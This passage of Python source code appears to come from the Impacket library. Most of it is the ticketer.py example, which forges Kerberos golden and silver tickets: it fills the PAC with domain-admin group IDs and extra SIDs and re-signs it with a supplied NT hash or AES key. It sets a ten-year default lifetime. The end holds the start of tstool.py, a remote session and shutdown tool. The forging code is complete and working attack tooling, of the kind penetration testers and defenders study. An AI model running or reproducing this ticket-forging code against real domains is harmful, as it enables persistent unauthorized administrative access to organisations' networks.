pacInfos[PAC_REQUESTOR_INFO] = pacRequestor.getData() def createBasicTicket(self): if self.__options.request is True: if self.__domain == self.__server: logging.info('Requesting TGT to target domain to use as basis') else: logging.info('Requesting TGT/TGS to target domain to use as basis') if self.__options.hashes is not None: lmhash, nthash = self.__options.hashes.split(':') else: lmhash = '' nthash = '' userName = Principal(self.__options.user, type=PrincipalNameType.NT_PRINCIPAL.value) tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(lmhash), unhexlify(nthash), None, self.__options.dc_ip) if self.__domain == self.__server: kdcRep = decoder.decode(tgt, asn1Spec=AS_REP())[0] else: serverName = Principal(self.__options.spn, type=PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain, None, tgt, cipher, sessionKey) kdcRep = decoder.decode(tgs, asn1Spec=TGS_REP())[0] # Let's check we have all the necessary data based on the ciphers used. Boring checks ticketCipher = int(kdcRep['ticket']['enc-part']['etype']) encPartCipher = int(kdcRep['enc-part']['etype']) if (ticketCipher == EncryptionTypes.rc4_hmac.value or encPartCipher == EncryptionTypes.rc4_hmac.value) and \ self.__options.nthash is None: logging.critical('rc4_hmac is used in this ticket and you haven\'t specified the -nthash parameter. ' 'Can\'t continue ( or try running again w/o the -request option)') return None, None if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \ self.__options.aesKey is None: logging.critical( 'aes128_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. ' 'Can\'t continue (or try running again w/o the -request option)') return None, None if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \ self.__options.aesKey is not None and len(self.__options.aesKey) > 32: logging.critical( 'aes128_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes128. ' 'Can\'t continue (or try running again w/o the -request option)') return None, None if (ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and self.__options.aesKey is None: logging.critical( 'aes256_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. ' 'Can\'t continue (or try running again w/o the -request option)') return None, None if ( ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and \ self.__options.aesKey is not None and len(self.__options.aesKey) < 64: logging.critical( 'aes256_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes256. ' 'Can\'t continue') return None, None kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value kdcRep['cname']['name-string'] = noValue kdcRep['cname']['name-string'][0] = self.__target else: logging.info('Creating basic skeleton ticket and PAC Infos') if self.__domain == self.__server: kdcRep = AS_REP() kdcRep['msg-type'] = ApplicationTagNumbers.AS_REP.value else: kdcRep = TGS_REP() kdcRep['msg-type'] = ApplicationTagNumbers.TGS_REP.value kdcRep['pvno'] = 5 if self.__options.nthash is None: kdcRep['padata'] = noValue kdcRep['padata'][0] = noValue kdcRep['padata'][0]['padata-type'] = PreAuthenticationDataTypes.PA_ETYPE_INFO2.value etype2 = ETYPE_INFO2() etype2[0] = noValue if len(self.__options.aesKey) == 64: etype2[0]['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value else: etype2[0]['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value etype2[0]['salt'] = '%s%s' % (self.__domain.upper(), self.__target) encodedEtype2 = encoder.encode(etype2) kdcRep['padata'][0]['padata-value'] = encodedEtype2 kdcRep['crealm'] = self.__domain.upper() kdcRep['cname'] = noValue kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value kdcRep['cname']['name-string'] = noValue kdcRep['cname']['name-string'][0] = self.__target kdcRep['ticket'] = noValue kdcRep['ticket']['tkt-vno'] = ProtocolVersionNumber.pvno.value kdcRep['ticket']['realm'] = self.__domain.upper() kdcRep['ticket']['sname'] = noValue kdcRep['ticket']['sname']['name-string'] = noValue kdcRep['ticket']['sname']['name-string'][0] = self.__service if self.__domain == self.__server: kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value kdcRep['ticket']['sname']['name-string'][1] = self.__domain.upper() else: kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value kdcRep['ticket']['sname']['name-string'][1] = self.__server kdcRep['ticket']['enc-part'] = noValue kdcRep['ticket']['enc-part']['kvno'] = 2 kdcRep['enc-part'] = noValue if self.__options.nthash is None: if len(self.__options.aesKey) == 64: kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value kdcRep['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value else: kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value kdcRep['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value else: kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value kdcRep['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value kdcRep['enc-part']['kvno'] = 2 kdcRep['enc-part']['cipher'] = noValue pacInfos = self.createBasicPac(kdcRep) return kdcRep, pacInfos def customizeTicket(self, kdcRep, pacInfos): logging.info('Customizing ticket for %s/%s' % (self.__domain, self.__target)) encTicketPart = EncTicketPart() flags = list() flags.append(TicketFlags.forwardable.value) flags.append(TicketFlags.proxiable.value) flags.append(TicketFlags.renewable.value) if self.__domain == self.__server: flags.append(TicketFlags.initial.value) flags.append(TicketFlags.pre_authent.value) encTicketPart['flags'] = encodeFlags(flags) encTicketPart['key'] = noValue encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype'] if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value: encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)]) elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value: encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(32)]) else: encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)]) encTicketPart['crealm'] = self.__domain.upper() encTicketPart['cname'] = noValue encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value encTicketPart['cname']['name-string'] = noValue encTicketPart['cname']['name-string'][0] = self.__target encTicketPart['transited'] = noValue encTicketPart['transited']['tr-type'] = 0 encTicketPart['transited']['contents'] = '' encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) # Let's extend the ticket's validity a lil bit ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(hours=int(self.__options.duration)) encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['authorization-data'] = noValue encTicketPart['authorization-data'][0] = noValue encTicketPart['authorization-data'][0]['ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value encTicketPart['authorization-data'][0]['ad-data'] = noValue # Let's locate the KERB_VALIDATION_INFO and Checksums if PAC_LOGON_INFO in pacInfos: data = pacInfos[PAC_LOGON_INFO] validationInfo = VALIDATION_INFO() validationInfo.fromString(pacInfos[PAC_LOGON_INFO]) lenVal = len(validationInfo.getData()) validationInfo.fromStringReferents(data, lenVal) aTime = timegm(strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ')) unixTime = self.getFileTime(aTime) kerbdata = KERB_VALIDATION_INFO() kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32 # Let's adjust username and other data validationInfo['Data']['LogonDomainName'] = self.__domain.upper() validationInfo['Data']['EffectiveName'] = self.__target # Our Golden Well-known groups! :) groups = self.__options.groups.split(',') validationInfo['Data']['GroupIds'] = list() validationInfo['Data']['GroupCount'] = len(groups) for group in groups: groupMembership = GROUP_MEMBERSHIP() groupId = NDRULONG() groupId['Data'] = int(group) groupMembership['RelativeId'] = groupId groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED validationInfo['Data']['GroupIds'].append(groupMembership) # Let's add the extraSid if self.__options.extra_sid is not None: extrasids = self.__options.extra_sid.split(',') if validationInfo['Data']['SidCount'] == 0: # Let's be sure user's flag specify we have extra sids. validationInfo['Data']['UserFlags'] |= 0x20 validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY() for extrasid in extrasids: validationInfo['Data']['SidCount'] += 1 sidRecord = KERB_SID_AND_ATTRIBUTES() sid = RPC_SID() sid.fromCanonical(extrasid) sidRecord['Sid'] = sid sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED # And, let's append the magicSid validationInfo['Data']['ExtraSids'].append(sidRecord) else: validationInfo['Data']['ExtraSids'] = NULL validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents() pacInfos[PAC_LOGON_INFO] = validationInfoBlob if logging.getLogger().level == logging.DEBUG: logging.debug('VALIDATION_INFO after making it gold') validationInfo.dump() print('\n') else: raise Exception('PAC_LOGON_INFO not found! Aborting') logging.info('\tPAC_LOGON_INFO') # Let's now clear the checksums if PAC_SERVER_CHECKSUM in pacInfos: serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: serverChecksum['Signature'] = '\x00' * 12 elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: serverChecksum['Signature'] = '\x00' * 12 else: serverChecksum['Signature'] = '\x00' * 16 pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData() else: raise Exception('PAC_SERVER_CHECKSUM not found! Aborting') if PAC_PRIVSVR_CHECKSUM in pacInfos: privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) privSvrChecksum['Signature'] = '\x00' * 12 if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: privSvrChecksum['Signature'] = '\x00' * 12 elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: privSvrChecksum['Signature'] = '\x00' * 12 else: privSvrChecksum['Signature'] = '\x00' * 16 pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData() else: raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting') if PAC_CLIENT_INFO_TYPE in pacInfos: pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE]) pacClientInfo['ClientId'] = unixTime pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData() else: raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting') logging.info('\tPAC_CLIENT_INFO_TYPE') logging.info('\tEncTicketPart') if self.__domain == self.__server: encRepPart = EncASRepPart() else: encRepPart = EncTGSRepPart() encRepPart['key'] = noValue encRepPart['key']['keytype'] = encTicketPart['key']['keytype'] encRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue'] encRepPart['last-req'] = noValue encRepPart['last-req'][0] = noValue encRepPart['last-req'][0]['lr-type'] = 0 encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) encRepPart['nonce'] = 123456789 encRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration) encRepPart['flags'] = encodeFlags(flags) encRepPart['authtime'] = str(encTicketPart['authtime']) encRepPart['endtime'] = str(encTicketPart['endtime']) encRepPart['starttime'] = str(encTicketPart['starttime']) encRepPart['renew-till'] = str(encTicketPart['renew-till']) encRepPart['srealm'] = self.__domain.upper() encRepPart['sname'] = noValue encRepPart['sname']['name-string'] = noValue encRepPart['sname']['name-string'][0] = self.__service if self.__domain == self.__server: encRepPart['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value encRepPart['sname']['name-string'][1] = self.__domain.upper() logging.info('\tEncAsRepPart') else: encRepPart['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value encRepPart['sname']['name-string'][1] = self.__server logging.info('\tEncTGSRepPart') return encRepPart, encTicketPart, pacInfos def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos): logging.info('Signing/Encrypting final ticket') # Basic PAC count pac_count = 4 # We changed everything we needed to make us special. Now let's repack and calculate checksums validationInfoBlob = pacInfos[PAC_LOGON_INFO] validationInfoAlignment = b'\x00' * self.getPadLength(len(validationInfoBlob)) pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE] pacClientInfoAlignment = b'\x00' * self.getPadLength(len(pacClientInfoBlob)) pacUpnDnsInfoBlob = None pacUpnDnsInfoAlignment = None if PAC_UPN_DNS_INFO in pacInfos: pac_count += 1 pacUpnDnsInfoBlob = pacInfos[PAC_UPN_DNS_INFO] pacUpnDnsInfoAlignment = b'\x00' * self.getPadLength(len(pacUpnDnsInfoBlob)) pacAttributesInfoBlob = None pacAttributesInfoAlignment = None if PAC_ATTRIBUTES_INFO in pacInfos: pac_count += 1 pacAttributesInfoBlob = pacInfos[PAC_ATTRIBUTES_INFO] pacAttributesInfoAlignment = b'\x00' * self.getPadLength(len(pacAttributesInfoBlob)) pacRequestorInfoBlob = None pacRequestorInfoAlignment = None if PAC_REQUESTOR_INFO in pacInfos: pac_count += 1 pacRequestorInfoBlob = pacInfos[PAC_REQUESTOR_INFO] pacRequestorInfoAlignment = b'\x00' * self.getPadLength(len(pacRequestorInfoBlob)) serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) serverChecksumBlob = pacInfos[PAC_SERVER_CHECKSUM] serverChecksumAlignment = b'\x00' * self.getPadLength(len(serverChecksumBlob)) privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) privSvrChecksumBlob = pacInfos[PAC_PRIVSVR_CHECKSUM] privSvrChecksumAlignment = b'\x00' * self.getPadLength(len(privSvrChecksumBlob)) # The offset are set from the beginning of the PAC_TYPE # [MS-PAC] 2.4 PAC_INFO_BUFFER offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * pac_count # Let's build the PAC_INFO_BUFFER for each one of the elements validationInfoIB = PAC_INFO_BUFFER() validationInfoIB['ulType'] = PAC_LOGON_INFO validationInfoIB['cbBufferSize'] = len(validationInfoBlob) validationInfoIB['Offset'] = offsetData offsetData = self.getBlockLength(offsetData + validationInfoIB['cbBufferSize']) pacClientInfoIB = PAC_INFO_BUFFER() pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) pacClientInfoIB['Offset'] = offsetData offsetData = self.getBlockLength(offsetData + pacClientInfoIB['cbBufferSize']) pacUpnDnsInfoIB = None if pacUpnDnsInfoBlob is not None: pacUpnDnsInfoIB = PAC_INFO_BUFFER() pacUpnDnsInfoIB['ulType'] = PAC_UPN_DNS_INFO pacUpnDnsInfoIB['cbBufferSize'] = len(pacUpnDnsInfoBlob) pacUpnDnsInfoIB['Offset'] = offsetData offsetData = self.getBlockLength(offsetData + pacUpnDnsInfoIB['cbBufferSize']) pacAttributesInfoIB = None if pacAttributesInfoBlob is not None: pacAttributesInfoIB = PAC_INFO_BUFFER() pacAttributesInfoIB['ulType'] = PAC_ATTRIBUTES_INFO pacAttributesInfoIB['cbBufferSize'] = len(pacAttributesInfoBlob) pacAttributesInfoIB['Offset'] = offsetData offsetData = self.getBlockLength(offsetData + pacAttributesInfoIB['cbBufferSize']) pacRequestorInfoIB = None if pacRequestorInfoBlob is not None: pacRequestorInfoIB = PAC_INFO_BUFFER() pacRequestorInfoIB['ulType'] = PAC_REQUESTOR_INFO pacRequestorInfoIB['cbBufferSize'] = len(pacRequestorInfoBlob) pacRequestorInfoIB['Offset'] = offsetData offsetData = self.getBlockLength(offsetData + pacRequestorInfoIB['cbBufferSize']) serverChecksumIB = PAC_INFO_BUFFER() serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) serverChecksumIB['Offset'] = offsetData offsetData = self.getBlockLength(offsetData + serverChecksumIB['cbBufferSize']) privSvrChecksumIB = PAC_INFO_BUFFER() privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) privSvrChecksumIB['Offset'] = offsetData # offsetData = self.getBlockLength(offsetData+privSvrChecksumIB['cbBufferSize']) # Building the PAC_TYPE as specified in [MS-PAC] buffers = validationInfoIB.getData() + pacClientInfoIB.getData() if pacUpnDnsInfoIB is not None: buffers += pacUpnDnsInfoIB.getData() if pacAttributesInfoIB is not None: buffers += pacAttributesInfoIB.getData() if pacRequestorInfoIB is not None: buffers += pacRequestorInfoIB.getData() buffers += serverChecksumIB.getData() + privSvrChecksumIB.getData() + validationInfoBlob + \ validationInfoAlignment + pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment if pacUpnDnsInfoIB is not None: buffers += pacUpnDnsInfoBlob + pacUpnDnsInfoAlignment if pacAttributesInfoIB is not None: buffers += pacAttributesInfoBlob + pacAttributesInfoAlignment if pacRequestorInfoIB is not None: buffers += pacRequestorInfoBlob + pacRequestorInfoAlignment buffersTail = serverChecksumBlob + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment pacType = PACTYPE() pacType['cBuffers'] = pac_count pacType['Version'] = 0 pacType['Buffers'] = buffers + buffersTail blobToChecksum = pacType.getData() checkSumFunctionServer = _checksum_table[serverChecksum['SignatureType']] if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: keyServer = Key(Enctype.AES256, unhexlify(self.__options.aesKey)) elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: keyServer = Key(Enctype.AES128, unhexlify(self.__options.aesKey)) elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value: keyServer = Key(Enctype.RC4, unhexlify(self.__options.nthash)) else: raise Exception('Invalid Server checksum type 0x%x' % serverChecksum['SignatureType']) checkSumFunctionPriv = _checksum_table[privSvrChecksum['SignatureType']] if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: keyPriv = Key(Enctype.AES256, unhexlify(self.__options.aesKey)) elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: keyPriv = Key(Enctype.AES128, unhexlify(self.__options.aesKey)) elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value: keyPriv = Key(Enctype.RC4, unhexlify(self.__options.nthash)) else: raise Exception('Invalid Priv checksum type 0x%x' % serverChecksum['SignatureType']) serverChecksum['Signature'] = checkSumFunctionServer.checksum(keyServer, KERB_NON_KERB_CKSUM_SALT, blobToChecksum) logging.info('\tPAC_SERVER_CHECKSUM') privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(keyPriv, KERB_NON_KERB_CKSUM_SALT, serverChecksum['Signature']) logging.info('\tPAC_PRIVSVR_CHECKSUM') buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment pacType['Buffers'] = buffers + buffersTail authorizationData = AuthorizationData() authorizationData[0] = noValue authorizationData[0]['ad-type'] = AuthorizationDataType.AD_WIN2K_PAC.value authorizationData[0]['ad-data'] = pacType.getData() authorizationData = encoder.encode(authorizationData) encTicketPart['authorization-data'][0]['ad-data'] = authorizationData if logging.getLogger().level == logging.DEBUG: logging.debug('Customized EncTicketPart') print(encTicketPart.prettyPrint()) print('\n') encodedEncTicketPart = encoder.encode(encTicketPart) cipher = _enctype_table[kdcRep['ticket']['enc-part']['etype']] if cipher.enctype == EncryptionTypes.aes256_cts_hmac_sha1_96.value: key = Key(cipher.enctype, unhexlify(self.__options.aesKey)) elif cipher.enctype == EncryptionTypes.aes128_cts_hmac_sha1_96.value: key = Key(cipher.enctype, unhexlify(self.__options.aesKey)) elif cipher.enctype == EncryptionTypes.rc4_hmac.value: key = Key(cipher.enctype, unhexlify(self.__options.nthash)) else: raise Exception('Unsupported enctype 0x%x' % cipher.enctype) # Key Usage 2 # AS-REP Ticket and TGS-REP Ticket (includes TGS session # key or application session key), encrypted with the # service key (Section 5.3) logging.info('\tEncTicketPart') cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None) kdcRep['ticket']['enc-part']['cipher'] = cipherText kdcRep['ticket']['enc-part']['kvno'] = 2 # Lastly.. we have to encrypt the kdcRep['enc-part'] part # with a key we chose. It actually doesn't really matter since nobody uses it (could it be trash?) encodedEncASRepPart = encoder.encode(encASorTGSRepPart) if self.__domain == self.__server: # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) sessionKey = Key(cipher.enctype, encASorTGSRepPart['key']['keyvalue'].asOctets()) logging.info('\tEncASRepPart') cipherText = cipher.encrypt(sessionKey, 3, encodedEncASRepPart, None) else: # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key # (Section 5.4.2) sessionKey = Key(cipher.enctype, encASorTGSRepPart['key']['keyvalue'].asOctets()) logging.info('\tEncTGSRepPart') cipherText = cipher.encrypt(sessionKey, 8, encodedEncASRepPart, None) kdcRep['enc-part']['cipher'] = cipherText kdcRep['enc-part']['etype'] = cipher.enctype kdcRep['enc-part']['kvno'] = 1 if logging.getLogger().level == logging.DEBUG: logging.debug('Final Golden Ticket') print(kdcRep.prettyPrint()) print('\n') return encoder.encode(kdcRep), cipher, sessionKey def saveTicket(self, ticket, sessionKey): logging.info('Saving ticket in %s' % (self.__target.replace('/', '.') + '.ccache')) from impacket.krb5.ccache import CCache ccache = CCache() if self.__server == self.__domain: ccache.fromTGT(ticket, sessionKey, sessionKey) else: ccache.fromTGS(ticket, sessionKey, sessionKey) ccache.saveFile(self.__target.replace('/','.') + '.ccache') def run(self): ticket, adIfRelevant = self.createBasicTicket() if ticket is not None: encASorTGSRepPart, encTicketPart, pacInfos = self.customizeTicket(ticket, adIfRelevant) ticket, cipher, sessionKey = self.signEncryptTicket(ticket, encASorTGSRepPart, encTicketPart, pacInfos) self.saveTicket(ticket, sessionKey) if __name__ == '__main__': print(version.BANNER) parser = argparse.ArgumentParser(add_help=True, description="Creates a Kerberos golden/silver tickets based on " "user options") parser.add_argument('target', action='store', help='username for the newly created ticket') parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the silver ticket will' ' be generated for. if omitted, golden ticket will be created') parser.add_argument('-request', action='store_true', default=False, help='Requests ticket to domain and clones it ' 'changing only the supplied information. It requires specifying -user') parser.add_argument('-domain', action='store', required=True, help='the fully qualified domain name (e.g. contoso.com)') parser.add_argument('-domain-sid', action='store', required=True, help='Domain SID of the target domain the ticker will be ' 'generated for') parser.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key used for signing the ticket ' '(128 or 256 bits)') parser.add_argument('-nthash', action="store", help='NT hash used for signing the ticket') parser.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file (silver ticket only)') parser.add_argument('-groups', action="store", default = '513, 512, 520, 518, 519', help='comma separated list of ' 'groups user will belong to (default = 513, 512, 520, 518, 519)') parser.add_argument('-user-id', action="store", default = '500', help='user id for the user the ticket will be ' 'created for (default = 500)') parser.add_argument('-extra-sid', action="store", help='Comma separated list of ExtraSids to be included inside the ticket\'s PAC') parser.add_argument('-extra-pac', action='store_true', help='Populate your ticket with extra PAC (UPN_DNS)') parser.add_argument('-old-pac', action='store_true', help='Use the old PAC structure to create your ticket (exclude ' 'PAC_ATTRIBUTES_INFO and PAC_REQUESTOR') parser.add_argument('-duration', action="store", default = '87600', help='Amount of hours till the ticket expires ' '(default = 24*365*10)') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-user', action="store", help='domain/username to be used if -request is chosen (it can be ' 'different from domain/username') group.add_argument('-password', action="store", help='password for domain/username') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') if len(sys.argv)==1: parser.print_help() print("\nExamples: ") print("\t./ticketer.py -nthash -domain-sid -domain baduser\n") print("\twill create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4.") print("\tIf you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256") print("\t(depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as") print("\tbaduser.ccache.\n") print("\t./ticketer.py -nthash -aesKey -domain-sid -domain " " -request -user -password baduser\n") print("\twill first authenticate against the KDC (using -user/-password) and get a TGT that will be used") print("\tas template for customization. Whatever encryption algorithms used on that ticket will be honored,") print("\thence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser'") print("\tand saved as baduser.ccache") sys.exit(1) options = parser.parse_args() # Init the example's logger theme logger.init(options.ts) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) if options.domain is None: logging.critical('Domain should be specified!') sys.exit(1) if options.aesKey is None and options.nthash is None and options.keytab is None: logging.error('You have to specify either aesKey, or nthash, or keytab') sys.exit(1) if options.aesKey is not None and options.nthash is not None and options.request is False: logging.error('You cannot specify both -aesKey and -nthash w/o using -request. Pick only one') sys.exit(1) if options.request is True and options.user is None: logging.error('-request parameter needs -user to be specified') sys.exit(1) if options.request is True and options.hashes is None and options.password is None: from getpass import getpass password = getpass("Password:") else: password = options.password try: executer = TICKETER(options.target, password, options.domain, options) executer.run() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() print(str(e)) impacket-impacket_0_11_0/examples/tstool.py000077500000000000000000000741001446174712300211370ustar00rootroot00000000000000#!/usr/bin/env python3 # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Terminal Services manipulation tool. # Initial idea was to provide similar functionality as the QWINSTA and other TS* windows commands: # # qwinsta: Display information about Remote Desktop Services sessions. # tasklist: Display a list of currently running processes on the system. # taskkill: Terminate tasks by process id (PID) or image name # tscon: Attaches a user session to a remote desktop session # tsdiscon: Disconnects a Remote Desktop Services session # tslogoff: Signs-out a Remote Desktop Services session # shutdown: Remote shutdown # msg: Send a message to Remote Desktop Services session (MSGBOX) # # Author: # Alexander Korznikov (@nopernik) # # Reference for: # [MS-TSTS] # import argparse import codecs import logging import sys from struct import unpack from impacket import version from impacket.examples import logger from impacket.examples.utils import parse_target from impacket.smbconnection import SMBConnection from impacket import LOG from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY from impacket.dcerpc.v5 import tsts as TSTS import traceback class TSHandler: def __init__(self, username, password, domain, options): self.__username = username self.__password = password self.__domain = domain self.__options = options self.__action = options.action.lower() self.__lmhash = '' self.__nthash = '' self.__aesKey = options.aesKey self.__doKerberos = options.k self.__kdcHost = options.dc_ip self.__smbConnection = None self.__remoteOps = None if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') def connect(self, remoteName, remoteHost): self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port)) if self.__doKerberos: self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__kdcHost) else: self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def run(self, remoteName, remoteHost): if self.__options.action == 'shutdown': if not max([options.logoff, options.shutdown, options.reboot, options.poweroff]): LOG.error('At least one flag is required: -logoff, -shutdown, -reboot or -poweroff') exit(1) self.connect(remoteName, remoteHost) getattr(self,'do_'+self.__action)() def get_session_list(self): # Retreive session list smb = self.__smbConnection target_ip = self.__options.target_ip with TSTS.TermSrvEnumeration(self.__smbConnection, self.__options.target_ip) as lsm: handle = lsm.hRpcOpenEnum() rsessions = lsm.hRpcGetEnumResult(handle, Level=1)['ppSessionEnumResult'] lsm.hRpcCloseEnum(handle) self.sessions = {} for i in rsessions: sess = i['SessionInfo']['SessionEnum_Level1'] state = TSTS.enum2value(TSTS.WINSTATIONSTATECLASS, sess['State']).split('_')[-1] self.sessions[sess['SessionId']] = { 'state' :state, 'SessionName' :sess['Name'], 'RemoteIp' :'', 'ClientName' :'', 'Username' :'', 'Domain' :'', 'Resolution' :'', 'ClientTimeZone':'' } def enumerate_sessions_config(self): # Get session config one by one smb = self.__smbConnection target_ip = self.__options.target_ip if len(self.sessions): with TSTS.RCMPublic(self.__smbConnection, self.__options.target_ip) as termsrv: for SessionId in self.sessions: resp = termsrv.hRpcGetClientData(SessionId) if resp is not None: self.sessions[SessionId]['RemoteIp'] = resp['ppBuff']['ClientAddress'] self.sessions[SessionId]['ClientName'] = resp['ppBuff']['ClientName'] if len(resp['ppBuff']['UserName']) and not len(self.sessions[SessionId]['Username']): 